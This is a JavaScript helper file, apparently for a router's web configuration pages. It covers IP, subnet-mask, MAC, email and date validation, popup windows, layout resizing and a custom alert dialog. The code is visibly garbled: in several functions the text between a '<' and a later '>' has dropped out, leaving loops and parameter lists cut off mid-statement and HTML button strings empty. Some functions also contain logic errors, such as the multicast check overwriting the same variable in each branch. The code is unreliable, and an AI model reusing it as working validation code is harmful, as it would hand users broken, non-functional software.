"width=420,height=180,scrollbars,toolbar,resizable,dependent=yes"; +var bigsub = "width=700,height=440,scrollbars,menubar,resizable,status,dependent=yes"; +var macfiltersub = "width=700,height=550,scrollbars,menubar,resizable,status,dependent=yes"; +var pclistsub = "width=700,height=620,scrollbars,menubar,resizable,status,dependent=yes"; +var portinfoub = "width=700,height=660,scrollbars,menubar,resizable,status,dependent=yes"; +var summarysub = "width=700,height=500,scrollbars,menubar,resizable,status,dependent=yes"; +var smallsub = "width=440,height=320,scrollbars,resizable,dependent=yes"; +var sersub = "width=500,height=380,scrollbars,resizable,status,dependent=yes"; +var multisub = "width=630,height=470,scrollbars,menubar,resizable,status,dependent=yes"; +var helpWinVar = null; +var glossWinVar = null; +var datSubWinVar = null; +var ValidStr = 'abcdefghijklmnopqrstuvwxyz-'; +var ValidStr_ddns = 'abcdefghijklmnopqrstuvwxyz-1234567890'; +var hex_str = "ABCDEFabcdef0123456789"; +var DEBUG = 0; +var fontScale=1; +var rtime; +function showMsg() +{ + var msgVar=document.forms[0].message.value; + if (msgVar.length > 1) + rALERT("", msgVar); +} +function checkMsg(msg) +{ + if(msg.length > 1) + { + rALERT("", msg); + return false; + } + return true; +} + +function setHTML(windowObj, el, htmlStr) // el must be str, not reference +{ + if (document.all) + { + if (windowObj.document.all(el) ) + windowObj.document.all(el).innerHTML = htmlStr; + } + else if (document.getElementById) + { + if (windowObj.document.getElementById(el) ) + windowObj.document.getElementById(el).innerHTML = htmlStr; + } +} + + +function closeWin(win_var) +{ + if ( ((win_var != null) && (win_var.close)) || ((win_var != null) && (win_var.closed==false)) ) + win_var.close(); +} + +function openHelpWin(file_name) +{ + helpWinVar = window.open(file_name,'help_win',HelpOptionsVar); + if (helpWinVar.focus) + setTimeout('helpWinVar.focus()',200); +} + +function openGlossWin() +{ + glossWinVar = window.open('','gloss_win',GlossOptionsVar); + if (glossWinVar.focus) + setTimeout('glossWinVar.focus()',200); +} + +function closeSubWins() +{ + closeWin(helpWinVar); + closeWin(glossWinVar); + closeWin(datSubWinVar); +} + +function openDataSubWin(filename,win_type) +{ + closeWin(datSubWinVar); + datSubWinVar = window.open(filename,'datasub_win',win_type); + if (datSubWinVar.focus) + setTimeout('datSubWinVar.focus()',200); +} + +function showHelp(helpfile) +{ + if(top.frames.length == 0) + return; + top.helpframe.location.href = helpfile; +} + + +function addstr(input_msg) +{ + var last_msg = ""; + var str_location; + var temp_str_1 = ""; + var temp_str_2 = ""; + var str_num = 0; + temp_str_1 = addstr.arguments[0]; + while(1) + { + str_location = temp_str_1.indexOf("%s"); + if(str_location >= 0) + { + str_num++; + temp_str_2 = temp_str_1.substring(0,str_location); + last_msg += temp_str_2 + addstr.arguments[str_num]; + temp_str_1 = temp_str_1.substring(str_location+2,temp_str_1.length); + continue; + } + if(str_location < 0) + { + last_msg += temp_str_1; + break; + } + } + return last_msg; +} + + + + +// High-level test functions - generate messages + +function checkBlank(fieldObj, fname) +{ + var msg = ""; + if (fieldObj.value.length < 1){ + msg = addstr(msg_blank,fname); + } + return msg; +} + +function checkNoBlanks(fObj, fname) +{ + var space = " "; + if (fObj.value.indexOf(space) >= 0 ) + return addstr(msg_space, fname); + else return ""; +} + +// add by barry,7.27,2005 +function checkMail(fobj, fname) +{ + var tmp_str = fobj.value; + var msg = ""; + + //matching Email address format(regular expression) + var pattern = /^\w+([-+.]\w+)*@\w+([-.]\\w+)*\w+([-.]\w+)*$/; + + if(!pattern.test(tmp_str)) + msg = addstr(msg_invalid_email, fname); + + return msg; +} + +function checkAllSpaces(fieldObj, fname) +{ + var msg = ""; + if(fieldObj.value.length == 0) + return ""; + var tstr = makeStr(fieldObj.value.length," "); + if (tstr == fieldObj.value) + msg = addstr(msg_allspaces,fname); + return msg; +} + +function checkValid(text_input_field, field_name, Valid_Str, max_size, mustFill) +{ + var error_msg= ""; + var size = text_input_field.value.length; + var str = text_input_field.value; + + if ((mustFill) && (size != max_size) ) + error_msg = addstr(msg_blank_in,field_name); + for (var i=0; i < size; i++) + { + if (!(Valid_Str.indexOf(str.charAt(i)) >= 0)) + { + error_msg = addstr(msg_invalid,field_name,Valid_Str); + break; + } + } + return error_msg; +} + +function checkvaluerange(text_input_field, min_value, max_value) +// NOTE: Doesn't allow negative numbers, required is true/false +{ + var str = text_input_field.value; + + if (text_input_field.value.length==0) // blank + { +// if (required) + return false; + } + else // not blank, check contents + { + for (var i=0; i < str.length; i++) + { + if ((str.charAt(i) < '0') || (str.charAt(i) > '9')) + return false; + } + if ( true) // don't parse if invalid + { + var int_value = parseInt(str,10); + if (int_value < min_value || int_value > max_value) + return false; + } + } + return true; +} + +function checkInt(text_input_field, field_name, min_value, max_value, required) +// NOTE: Doesn't allow negative numbers, required is true/false +{ + var str = text_input_field.value; + var error_msg= ""; + + if (text_input_field.value.length==0) // blank + { + if (required) + error_msg = addstr(msg_blank,field_name); + } + else // not blank, check contents + { + for (var i=0; i < str.length; i++) + { + if ((str.charAt(i) < '0') || (str.charAt(i) > '9')) + error_msg = addstr(msg_check_invalid,field_name); + } + if (error_msg.length < 2) // don't parse if invalid + { + var int_value = parseInt(str,10); + if (int_value < min_value || int_value > max_value) + error_msg = addstr(msg_valid_range,field_name,min_value,max_value); + } + } + return(error_msg); +} + +function checkMAC(fObj, fname, removeSeparators) +{ + var msg = ""; + if(badMac(fObj, removeSeparators)) + msg = addstr(msg_invalid_mac, fname); + return msg; +} + + +// Low-level test functions - return true or false ============================ + + +function blankIP(ip1, ip2, ip3, ip4) // ip fields, true if 0 or blank +{ +return ((ip1.value == "" || ip1.value == "0") + && (ip2.value == "" || ip2.value == "0") + && (ip3.value == "" || ip3.value == "0") + && (ip4.value == "" || ip4.value == "0")) +} + +function badIP(ip1, ip2, ip3, ip4, max) // ip fields, 1.0.0.1 to 254.255.255.max +{ + if(!(isInteger(ip1.value,1,254,false))) return true; + if(!(isInteger(ip2.value,0,255,false))) return true; + if(!(isInteger(ip3.value,0,255,false))) return true; + if(!(isInteger(ip4.value,0,max,false))) return true; + if(parseInt(ip1.value) == 127 +// parseInt(ip2.value) == 0 && +// parseInt(ip3.value) == 0 && +// parseInt(ip4.value) == 1 + ) + return true; + return false; +} +function badIP2(obj) +{ + var valid_ip = /^((\d{1,3}\.){3})(\d{1,3})$/; + + if(!valid_ip.test(obj.value)) + { + return true; + } + else + { + var ip_array = new Array(4); + ip_array = obj.value.split("."); + + if(!(isInteger(ip_array[0],1,254,false))) return true; + if(!(isInteger(ip_array[1],0,255,false))) return true; + if(!(isInteger(ip_array[2],0,255,false))) return true; + if(!(isInteger(ip_array[3],0,254,false))) return true; + if(parseInt(ip_array[0]) == 127 +// parseInt(ip_array[1]) == 0 && +// parseInt(ip_array[2]) == 0 && +// parseInt(ip_array[3]) == 1 + ) + return true; + } + return false; + +} +function badSubnetIP(ip1, ip2, ip3, ip4, max) // ip fields 1.0.0.0. to 255.255.255.max +{ + if(!(isInteger(ip1.value,1,254,false))) return true; + if(!(isInteger(ip2.value,0,255,false))) return true; + if(!(isInteger(ip3.value,0,255,false))) return true; + if(!(isInteger(ip4.value,0,max,false))) return true; + return false; +} + +function badDestSubnetIP(ip1, ip2, ip3, ip4, max) // ip fields 0.0.0.0. to 255.255.255.max +{ + if(!(isInteger(ip1.value,0,254,false))) return true; + if(!(isInteger(ip2.value,0,255,false))) return true; + if(!(isInteger(ip3.value,0,255,false))) return true; + if(!(isInteger(ip4.value,0,max,false))) return true; + return false; +} + +function isipmask(val) +{ + if( (val == 255)||(val == 254)||(val == 252)||(val == 248)|| + (val == 240)||(val == 224)||(val == 192)||(val == 128)||(val == 0)) + return true; + return false; +} + +function badMask(ip1, ip2, ip3, ip4) // mask fields 0 to 255 +{ + var ipstr = ""; + + if(!isipmask(parseInt(ip1.value))) return true; + if(!isipmask(parseInt(ip2.value))) return true; + if(!isipmask(parseInt(ip3.value))) return true; + if(!isipmask(parseInt(ip4.value))) return true; + + if(parseInt(ip1.value) == 0) + ipstr += 0; + else + ipstr += 1; + if (parseInt(ip1.value) != 255 && parseInt(ip2.value) != 0 ) + return true; + + if(parseInt(ip2.value) == 0) + ipstr += 0; + else + ipstr += 1; + if (parseInt(ip2.value) != 255 && parseInt(ip3.value) != 0 ) + return true; + + if(parseInt(ip3.value) == 0) + ipstr += 0; + else + ipstr += 1; + if (parseInt(ip3.value) != 255 && parseInt(ip4.value) != 0 ) + return true; + + if(parseInt(ip4.value) == 0) + ipstr += 0; + else + ipstr += 1; + + if((ipstr=="1111")||(ipstr=="1110")||(ipstr=="1100")||(ipstr=="1000")) + return false; + + return true; +} + + +function badMac(macfld, removeSeparators) // macfld is form field, removeSeparators true/false +{ + var myRE = /[0-9a-fA-F]{12}/; + var MAC = macfld.value; + + MAC = MAC.replace(/:/g,""); + MAC = MAC.replace(/-/g,""); + if (removeSeparators) + macfld.value = MAC; + if((MAC.length != 12) || (MAC == "000000000000")||(myRE.test(MAC)!=true)) + return true; + else + return false; +} + +function ValidMacAddress(macAddr) +{ + var i; + + macAddr=macAddr.toUpperCase(); + + if ((macAddr.indexOf(':')!=-1)||(macAddr.indexOf('-')!=-1)) + { + macAddr = macAddr.replace(/:/g,""); + macAddr = macAddr.replace(/-/g,""); + } + + if ((macAddr.length == 12) && (macAddr != "000000000000") && (macAddr != "FFFFFFFFFFFF")) + { + for(i=0; i to ) +{ + var total1 = 0; + var total2 = 0; + + total1 += parseInt(from4.value,10); + total1 += parseInt(from3.value,10)*256; + total1 += parseInt(from2.value,10)*256*256; + total1 += parseInt(from1.value,10)*256*256*256; + + total2 += parseInt(to4.value,10); + total2 += parseInt(to3.value,10)*256; + total2 += parseInt(to2.value,10)*256*256; + total2 += parseInt(to1.value,10)*256*256*256; + if(total1 >= total2) + return true; + return false; +} + +function checkItem(fieldObj) +{ + if (fieldObj.value.length < 1){ + return false; + } + return true; +} + +function checkipmaskgw(ip1, ip2, ip3, ip4, mask1, mask2, mask3, mask4, gw1, gw2, gw3, gw4, + msg_invalid_ip, msg_invalid_mask, msg_invalid_gw, msg_ip_mask_mismatch, msg_gw_wrong_subnet) +{ + var ipaddr=0, netmask=0, gateway=0; + var msg = ""; + + if(badIP(ip1, ip2, ip3, ip4, 255)) { + msg+= msg_invalid_ip; + } + + if(badMask(mask1, mask2, mask3, mask4)) { + msg+= msg_invalid_mask; + } + + if(badIP(gw1, gw2, gw3, gw4, 255)) { + msg+= msg_invalid_gw; + } + + if(msg.length <= 0) { + ipaddr = (ip1.value << 24) | (ip2.value << 16) | (ip3.value << 8) | ip4.value; + netmask = (mask1.value << 24) | (mask2.value << 16) | (mask3.value << 8) | mask4.value; + gateway = (gw1.value << 24) | (gw2.value << 16) | (gw3.value << 8) | gw4.value; + + if (0 == (ipaddr&~netmask) || 0 == ~(ipaddr|netmask)) { + msg+=msg_ip_mask_mismatch; + } + if (0 != gateway) { + if (0 == (gateway&~netmask) || 0 == ~(gateway|netmask)) { + msg+=msg_invalid_gw; + } + if ((ipaddr&netmask) != (gateway&netmask)) { + msg+=msg_gw_wrong_subnet; + } + } + } + + return msg; +} + + + +function isBlank(str) +{ + return (str.length == 0 ); +} + + +function isBigger(str_a, str_b) +// true if a bigger than b +{ + var int_value_a = parseInt(str_a); + var int_value_b = parseInt(str_b); + return (int_value_a > int_value_b); +} + +function isInteger(str,min_value,max_value,allowBlank) // allowBlank = true or false +// return true if positive Integer, false otherwise +{ + if(str.length == 0) + if(allowBlank) + return true; + else + return false; + for (var i=0; i < str.length; i++) + { + if ((str.charAt(i) < '0') || (str.charAt(i) > '9')) + return false; + } + var int_value = parseInt(str,10); + if ((int_value < min_value) || (int_value > max_value)) + return false; + return true; +} + + +function isHex(str) { + var i; + for(i = 0; i= "0" && c <= "9") + continue; + if ( c == '-' && i !=0 && i != (str.length-1) ) + continue; + if ( c == ',' ) continue; + if (c == ' ') continue; + if (c>= 'A' && c <= 'Z') continue; + if (c>= 'a' && c <= 'z') continue; + return false; + } + return true; +} + +function checkDay(year,month,day) // check if valid date +{ + var isleap = false; + if(year%400 == 0 || (year%4 == 0 && year%100 != 0)) + isleap = true; + if(month%2) + { + if((month<=7)&&(day>31)) + return false; + if((month>7)&&(day>30)) + return false; + } + else + { + if(month<=6) + { + if(month == 2) + { + if((isleap)&&(day>29)) + { + return false; + } + if((!isleap)&&(day>28)) + { + return false; + } + } + else + { + if(day > 30) + return false; + } + } + else + if(day>31) + return false; + } + return true; +} + +function CheckSpaceInName(text_input_field) +//not allow space in name, +{ + if (text_input_field.value.length>1) + { + for (var i=0;i"subscription_status" change +function checkstatus(obj) +{ + + + if(obj==0 || obj == 10) + { + top.document.getElementById("PL_show_1").className="pro_hidden"; + top.document.getElementById("PL_show_2").className="pro_hidden"; + top.document.getElementById("PL_show_3").className="pro_hidden"; + } + else + { + top.document.getElementById("PL_show_1").className="pro_show"; + top.document.getElementById("PL_show_2").className="pro_show"; + top.document.getElementById("PL_show_3").className="pro_show"; + } + +} +// Utility & Misc functions =================================================== + +//false: valide ip address, true: invalid ip address +function checkIPAddress(ipbox, max, bAllowBlank) +{ + if(bAllowBlank == true) + { + if((eval("document.forms[0]."+ipbox+"1").value == "0"||eval("document.forms[0]."+ipbox+"1").value == "") + && (eval("document.forms[0]."+ipbox+"2").value == "0"||eval("document.forms[0]."+ipbox+"2").value == "") + && (eval("document.forms[0]."+ipbox+"3").value == "0"||eval("document.forms[0]."+ipbox+"3").value == "") + && (eval("document.forms[0]."+ipbox+"4").value == "0"||eval("document.forms[0]."+ipbox+"4").value == "")) + return false; + } + + return checkIP( eval("document.forms[0]."+ipbox+"1"), + eval("document.forms[0]."+ipbox+"2"), + eval("document.forms[0]."+ipbox+"3"), + eval("document.forms[0]."+ipbox+"4"), max); +} + +function check_vip(ip1, ip2, ip3, ip4, max) { + if(checkIPMain(ip1,255)) return true; + if(checkIPMain(ip2,255)) return true; + if(checkIPMain(ip3,255)) return true; + if(checkIPMain(ip4,max)) return true; + if((parseInt(ip1.value)==0)||(parseInt(ip1.value)==0)&&(parseInt(ip2.value)==0)&&(parseInt(ip3.value)==0)&&(parseInt(ip4.value)==0)) + return true; + return false; +} + +/* Check IP Address Format*/ +function checkIPMain(ip,max) +{ + if( false == isNumeric(ip, max) ) + { + ip.focus(); + return true; + } + + return false; +} + +function _isNumeric(str) { + var i; + for(i = 0; i 1) + str.value = str.value.replace(/^0/g,""); + } + + if(str.value.length == 0 || str.value == null || str.value == "") { + str.focus(); + return false; + } + + var i = parseInt(str.value); + + if(i>max) { + str.focus(); + return false; + } + for(i=0; i= 4 )) +ns4 = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) < 6 )) +ns6 = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 6 )) + +// 0.0.0.0 +var ZERO_NO = 1; // 0x0000 0001 +var ZERO_OK = 2; // 0x0000 0010 +// x.x.x.0 +var MASK_NO = 4; // 0x0000 0100 +var MASK_OK = 8; // 0x0000 1000 +// 255.255.255.255 +var BCST_NO = 16; // 0x0001 0000 +var BCST_OK = 32; // 0x0010 0000 + +var SPACE_NO = 1; +var SPACE_OK = 2; + +function choose_disable(dis_object) +{ + if(!dis_object) return; + dis_object.disabled = true; + + if(!ns4) + dis_object.style.backgroundColor = "#e0e0e0"; +} + +function check(val) +{ + if((parseInt(val) >= 0)&&(parseInt(val) <= 255)) + return true; + else + return false; +} + +function ip_to_str(val) +{ + var i = parseInt(val); + var j = 0; + var str = ""; + + for(j = 0; j < 8; j++) + { + str = parseInt(i%2) + str; + i = parseInt(i/2); + } + + return str; +} + +function check_is_ip(ip1,ip2,ip3,ip4,mask1,mask2,mask3,mask4) +{ + var i = 0; + var tag = true; + ip_str = ""; + var mask = ""; + mask_length = 0; + + if(check(mask1.value) && + check(mask2.value) && + check(mask3.value) && + check(mask4.value) ) + { + mask += ip_to_str(parseInt(mask1.value)); + mask += ip_to_str(parseInt(mask2.value)); + mask += ip_to_str(parseInt(mask3.value)); + mask += ip_to_str(parseInt(mask4.value)); + }else + return false; + + for(i=0;i<32;i++) + if(mask.charAt(i) == "1") + mask_length++; + + if(check(ip1.value) && + check(ip2.value) && + check(ip3.value) && + check(ip4.value) ) + { + ip_str += ip_to_str(parseInt(ip1.value)); + ip_str += ip_to_str(parseInt(ip2.value)); + ip_str += ip_to_str(parseInt(ip3.value)); + ip_str += ip_to_str(parseInt(ip4.value)); + }else + return false; + for( i = mask_length; i < 32; i++) + if(ip_str.charAt(i) == "0") + tag = false; + + if(ip_str == "11111111111111111111111111111111") + return false; + + if( tag == false) + return true; + else + return false; +} + +function is_same_net(wan_mask_1,wan_mask_2,wan_mask_3,wan_mask_4, + wan_ip_1,wan_ip_2,wan_ip_3,wan_ip_4, + wan_gw_1,wan_gw_2,wan_gw_3,wan_gw_4) +{ + var mask; + var wan_ip; + var gw_ip; + var mask = ""; + mask_length = 0; + + mask = ip_to_str(parseInt(wan_mask_1))+ip_to_str(parseInt(wan_mask_2))+ip_to_str(parseInt(wan_mask_3))+ip_to_str(parseInt(wan_mask_4)); + wan_ip = ip_to_str(parseInt(wan_ip_1))+ip_to_str(parseInt(wan_ip_2))+ip_to_str(parseInt(wan_ip_3))+ip_to_str(parseInt(wan_ip_4)); + gw_ip = ip_to_str(parseInt(wan_gw_1))+ip_to_str(parseInt(wan_gw_2))+ip_to_str(parseInt(wan_gw_3))+ip_to_str(parseInt(wan_gw_4)); + + for(i=0;i<32;i++) + if(mask.charAt(i) == "1") + mask_length++; + + for( i = 0; i < mask_length; i++) + if(wan_ip.charAt(i) != gw_ip.charAt(i)) + return false; + + return true; +} +// add for checking invalid characters +function is_valid_string(object, needed, fname) +{ + var msg=""; + var invalid_str = "`~!@#$^*()=+[]{}\\|;:\'\",<>/?"; + var str = object.value; + msg +=checkBlank(object, fname); + if((msg.length > 1)) + { + if(needed) + return msg; + else + return ""; + } + msg = ""; + for(i = 0; i < invalid_str.length; i++) + { + if(str.indexOf(invalid_str.charAt(i)) != -1) + { + msg = fname + invalid_string; + break; + } + } + return msg; + + +} + +function check_valid_macs(message_title, macs) { + var i,j; + var macvalue; + var myRE = /[0-9a-fA-F]{12}/; + + /* Change the MAC Address format to XX:XX:XX:XX:XX:XX at first */ + for(i=1; i=7) + { + lanipArray=lanip.value.split("."); + // alert("lanip = "+lanip.value); + lanmaskArray=lanmask.value.split("."); + // alert("lanmsk = "+lanmask.value); + if(false==badNetworkIP(lanipArray[0],lanipArray[1],lanipArray[2],lanipArray[3],lanmaskArray[0],lanmaskArray[1],lanmaskArray[2],lanmaskArray[3],gw1,gw2,gw3,gw4)) + { + flag=1; + } + } + //alert("check wan ip"); + if(wanip.value.length>=7) + { + wanipArray=wanip.value.split("."); + //alert("wanip = "+wanip.value); + wanmaskArray=wanmask.value.split("."); + //alert("wanmsk = "+wanmask.value); + if(false==badNetworkIP(wanipArray[0],wanipArray[1],wanipArray[2],wanipArray[3],wanmaskArray[0],wanmaskArray[1],wanmaskArray[2],wanmaskArray[3],gw1,gw2,gw3,gw4)) + { + flag=1; + } + } + if(flag==0) + return 3; + + return false; +} + +function feat_ip(ip1, ip2, ip3, ip4, max,local_ip) +{ + var strlocalip=new Array(); + + strlocalip=local_ip.split("."); + + + if( (parseInt(ip1.value) == strlocalip[0]) + && (parseInt(ip2.value) == strlocalip[1]) + && (parseInt(ip3.value) == strlocalip[2]) + && (parseInt(ip4.value) == strlocalip[3]) ) + { + return true; + } + + if( (parseInt(ip1.value) == 127) + && (parseInt(ip2.value) == 0) + && (parseInt(ip3.value) == 0) + && (parseInt(ip4.value) == 1) ) + { + return true; + } + + return false; +} + +function multicastIP(ip1, ip2, ip3, ip4, max,local_ip) // multicast IP, 224.0.0.0 to 239.255.255.max +{ + var strlocalip=new Array(); + + strlocalip=local_ip.split("."); + + if( (parseInt(ip1.value) == strlocalip[0]) + && (parseInt(ip2.value) == strlocalip[1]) + && (parseInt(ip3.value) == strlocalip[2]) + && (parseInt(ip4.value) == strlocalip[3]) ) + { + return true; + } + + if( (parseInt(ip1.value) == 127) + && (parseInt(ip2.value) == 0) + && (parseInt(ip3.value) == 0) + && (parseInt(ip4.value) == 1) ) + { + return true; + } + + if((parseInt(ip1.value)>=224)&&(parseInt(ip1.value)<=239)) + return true; + + + return false; +} + +function Destination_Lan_IP(destip,maskip,ip1, ip2, ip3, ip4,mip1,mip2,mip3,mip4) +{ + var strlocalip=new Array(); + var strlocalmask=new Array(); + + strlocalip=destip.split("."); + strlocalmask=maskip.split("."); + + if(((strlocalip[0] & strlocalmask[0])==(ip1.value & mip1.value)) + && ((strlocalip[1] & strlocalmask[1])==(ip2.value & mip2.value)) + && ((strlocalip[2] & strlocalmask[2])==(ip3.value & mip3.value)) + && ((strlocalip[3] & strlocalmask[3])==(ip4.value & mip4.value))){ + return true; + } + + return false; +} + +// add for checking invalid characters +function is_valid_domain(object, needed, fname) +{ + var msg=""; + var reg = /^[A-Za-z0-9-.]{1,}$/; + var str = object.value; + + msg +=checkBlank(object, fname); + if((msg.length > 1)){ + if(needed) + return msg; + else + return ""; + } + + msg = ""; + if(!reg.test(str)) { + msg = fname + invalid_domain; + } + return msg; +} + +function checkKey(evt) +{ + evt = (evt) ? evt : ((window.event) ? window.event : null) + var srcElement = document.forms[0].elements[fieldIndex]; + var indexs=parseInt(srcElement.name.substr(srcElement.name.length-1,1)); + if(null != evt) + {lastkeypressed = (evt.keyCode) ? evt.keyCode : (evt.which ) ? evt.which : null;} + else + {return false;} + + var bTemp=(lastkeypressed>=112 &&lastkeypressed<=135) || (lastkeypressed>=33 &&lastkeypressed<=40) || lastkeypressed==45 ||lastkeypressed==46 ; + //F1-F24 key={112-135} keycode 34=Next 35=End 36=Home 37=Left 38=Up 39=Right 40=Downkeycode 45=Insert 46=Delete + if(true == ipfield && lastkeypressed!=9 && !bTemp) //tab key=9 + { + if(lastkeypressed==32 || lastkeypressed==190 || lastkeypressed==110 ) + {//keycode 32=space 190=period colon 110=KP_Decimal + if(srcElement.value.length == 0) + { + document.forms[0].elements[fieldIndex].focus(); + return false; + } + if (srcElement.type == 'text') + { + if(lastf == false) + {document.forms[0].elements[fieldIndex + 1].focus();} + return false; + } + + } + else if (lastkeypressed != 8)//keycode 8=BackSpace + { + if(!((lastkeypressed >= 48 && lastkeypressed <= 57 ) || (lastkeypressed >= 96 && lastkeypressed <= 105 ))) + {//keycode 48-57={0-9} 96-105={KP_0-KP_9} + document.forms[0].elements[fieldIndex].focus(); + return false; + } + + } + else if(lastkeypressed == 8) + { + if (srcElement.type == 'text' && srcElement.value.length == 0) + { + if(firstf == false) + {document.forms[0].elements[fieldIndex - 1].focus();bFlag=true;} + return false; + } + } + bIsLicet=true; + } + +} + +function BackSpaceForIExplorer() +{ + var e = document.forms[0].elements[fieldIndex]; + var r =e.createTextRange(); + r.moveStart("character",e.value.length); + r.collapse(true); + r.select(); + bFlag=false; +} + +function setIPfield(formObj,fieldObj) +{ + ipfield = true; + firstf = false; + lastf = false; + bIsLicet=false; + for (var i = 0; i < formObj.elements.length; i++) + { + if (formObj.elements[i].name == fieldObj.name) + { + fieldIndex = i; + break; + } + } + if(navigator.userAgent.match( /MSIE (\d+\.\d+)/) && bFlag == true) + { + BackSpaceForIExplorer(); + } +} + +function NextGetFocus() +{ + var srcElement = document.forms[0].elements[fieldIndex]; + if(bIsLicet && srcElement.value.length == srcElement.size) + { + if(lastf == false) + {document.forms[0].elements[fieldIndex + 1].focus();} + } +} +//add by alex_qian begin + +function isMulticastIP(ip1,ip2,ip3,ip4) +{ + var ip01; + var ip02; + var ip03; + var ip04; + if(isNaN(ip1)) ip01=ip1.value; + else ip01=ip1; + if(isNaN(ip2)) ip01=ip1.value; + else ip02=ip2; + if(isNaN(ip3)) ip01=ip1.value; + else ip03=ip3; + if(isNaN(ip4)) ip01=ip1.value; + else ip04=ip4; + + if( ( isInteger(ip01,224,239,false) ) && + ( isInteger(ip02,0,255,false) ) && + ( isInteger(ip03,0,255,false) ) && + ( isInteger(ip04,1,254) ) ) + return true; + else + return false; +} + +function isEtypeIP(ip1,ip2,ip3,ip4) +{ + var ip01; + var ip02; + var ip03; + var ip04; + if(isNaN(ip1)) ip01=ip1.value; + else ip01=ip1; + if(isNaN(ip2)) ip01=ip1.value; + else ip02=ip2; + if(isNaN(ip3)) ip01=ip1.value; + else ip03=ip3; + if(isNaN(ip4)) ip01=ip1.value; + else ip04=ip4; + + if( ( isInteger(ip01,240,255,false) ) && + ( isInteger(ip02,0,255) ) && + ( isInteger(ip03,0,255,false) ) && + ( isInteger(ip04,1,254,false) ) ) + return true; + else + return false; +} + +function isReservedIP(ip1,ip2,ip3,ip4) +{ + if( ( parseInt_new(ip1)==0 ) && + ( parseInt_new(ip2)==0 ) && + ( parseInt_new(ip3)==0 ) && + ( parseInt_new(ip4)==0 ) ) + return true; + if( parseInt_new(ip1)==127 ) + return true; + if( ( parseInt_new(ip1)==169) && + ( parseInt_new(ip2)==254)) + return true; + return false; +} + +function isM_E_RIP(ip1,ip2,ip3,ip4) +{ + if( ( isMulticastIP(ip1,ip2,ip3,ip4) ) || + ( isEtypeIP(ip1,ip2,ip3,ip4) ) || + ( isReservedIP(ip1,ip2,ip3,ip4) ) ) + return true; + else + return false; +} + +function CheckStr2ip(str) +{ + var ipArray=new Array(); + ipArray = str.split(".",4); + if( (isEipNovalue( ipArray[0],ipArray[1],ipArray[2],ipArray[3] ) ) || + (isReservedIP( ipArray[0],ipArray[1],ipArray[2],ipArray[3] ) ) ) + return true; + else return false; +} + +function isEipNovalue(ip1,ip2,ip3,ip4) //for check var without walue +{ + if( ( isInteger(ip1,240,255,false) ) && + ( isInteger(ip2,0,255) ) && + ( isInteger(ip3,0,255,false) ) && + ( isInteger(ip4,1,254,false) ) ) + return true; + else + return false; +} + + +/* + The following functions are added for new features + Gerry Wu 2009/01/23 +*/ + var isMSIE = navigator.userAgent.indexOf("MSIE") != - 1; + + +function viewTop(obj) +{ + var viewsTop = 0; + + while(obj != null ) + { + // alert("obj=" + obj + "obj.offsetTop =" + obj.offsetTop + "obj.offsetParent=" +obj.offsetParent); + viewsTop += obj.offsetTop * 1 ; + obj = obj.offsetParent; + } + + return viewsTop; +}; + + + +function viewLeft(obj) +{ + var viewsLeft = 0; + + while (obj != null) + { + viewsLeft += obj.offsetLeft * 1 ; + obj = obj.offsetParent; + } + + + return viewsLeft; +}; + +var h = 0; +var w = 0; + +function extendPageSize() +{ + + if (arguments[1]==null) + arguments[1] = 10; + + var obj = document.getElementById(arguments[0]); + if(obj == null) + return; + + h = document.body.clientHeight - viewTop(obj) ; + var factor = isMSIE ? 1 : 2; + var parentWidth = Math.max(obj.parentNode.clientWidth, obj.parentNode.offsetWidth); + var pageAreaWidth = (document.body.clientWidth - viewLeft(obj)); + w = Math.min((parentWidth - factor * arguments[1]), pageAreaWidth); + if (obj.style != null) + { + obj.style.height = h + "px"; + obj.style.width = w + "px"; + obj.style.marginLeft = arguments[1] + "px"; + obj.style.paddingRight = arguments[1] + "px"; + // alert(obj.style.height + obj.style.width + obj.style.marginLeft + obj.style.paddingRight); + } + else + { + obj.height = h + "px"; + obj.width = w + "px"; + } + + + + +}; + +/* +1->ID +2->gap +*/ + +function myExtendHeight() +{ + + if (arguments[1] ==null) + arguments[1] = 0; + var obj = document.getElementById(arguments[0]); + if (obj == null) + return; + var pageBelow = document.getElementById("copyrightline"); + if (pageBelow != null) + arguments[1] += pageBelow.offsetHeight; + var nextHeight = document.body.clientHeight - viewTop(obj) - arguments[1]; + if (obj.style != null) + obj.style.height = nextHeight + "px"; + else + obj.height = nextHeight; + +}; + + + + +var LastContent = null; + +function inewResizeContent(indent) +{ + if (indent != null) + LastContent = indent; + //alert(LastContent); + extendPageSize("newContentArea", LastContent); + +}; + +var routerOnresizeTimer = null; +function inewOnresizeHandler() +{ + //alert("routerOnresizeHandler"); + if (routerOnresizeTimer != null) + clearTimeout(routerOnresizeTimer); + routerOnresizeTimer = setTimeout("inewResizeContent()", 200); +}; + + + +/* Alert Box */ +var ABTRF = "AB_FRAME"; +var ABNoMsg = "  Don't show me this again"; +var ABBtnOK = "
    OK
    "; +var ABBtnCANCEL = "
    Cancel
    "; +var ABBtnYES = "
    Yes
    "; +var ABBtnNO = "
    No
    "; + +//element +var ABTitle; +var ABFile; // current file with +var ABType; // Crit, Info, Warn +var ABMsg; // Message +var ABNOM; // No/Yes Message +var ABBT1; // Button 1 +var ABBT2; // Button 2 +var ABNum; // Message Number / Numbers of Message +var BOX; + + + +function setABox(windowObj, el, ABTitle, ABType, ABMsg, ABBT1, ABBT2) +{ + +BOX = '
    ' + ABTitle + "
    ' + ABMsg.replace(/\n/g,"
    ") + '
    ' + ABBT1 + '' + ABBT2 + '
    '; + + if (document.all) + { + if (windowObj.document.all(el)) + { + windowObj.document.all(el).innerHTML = BOX; + } + } + else if (document.getElementById) + { + if (windowObj.document.getElementById(el) ) + { + windowObj.document.getElementById(el).innerHTML = BOX; + + } + } + disableAllFields(); + /*if(ABNOM != "") + { + var af = document.ABox.NoMsg; + af.disabled = false; + } + else{ABNOM = " ";}*/ +} + + + + + +function ALERT(windowObj, el, ABTitle, ABType, ABMsg, ABBT1, ABBT2 ) +{ + + + if(ABMsg != "") + { + setABox(windowObj, el, ABTitle, ABType, ABMsg, ABBT1, ABBT2); + } + else + { document.forms[0].submit(); } +} + +function rALERT(rTitle, rMsg) +{ + ALERT(parent, "CON", rTitle, "Crit", rMsg, ABBtnOK, ""); + return false; +} + +function rConfirm(rTitle, rMsg) +{ + if (ALERT(parent, "CON", rTitle, "Warn", rMsg, ABBtnYES, ABBtnNO)) + { + //alert("in the rConfirm: true"); + return true; + + } + else + { + //alert("in the rConfirm : false"); + return false; 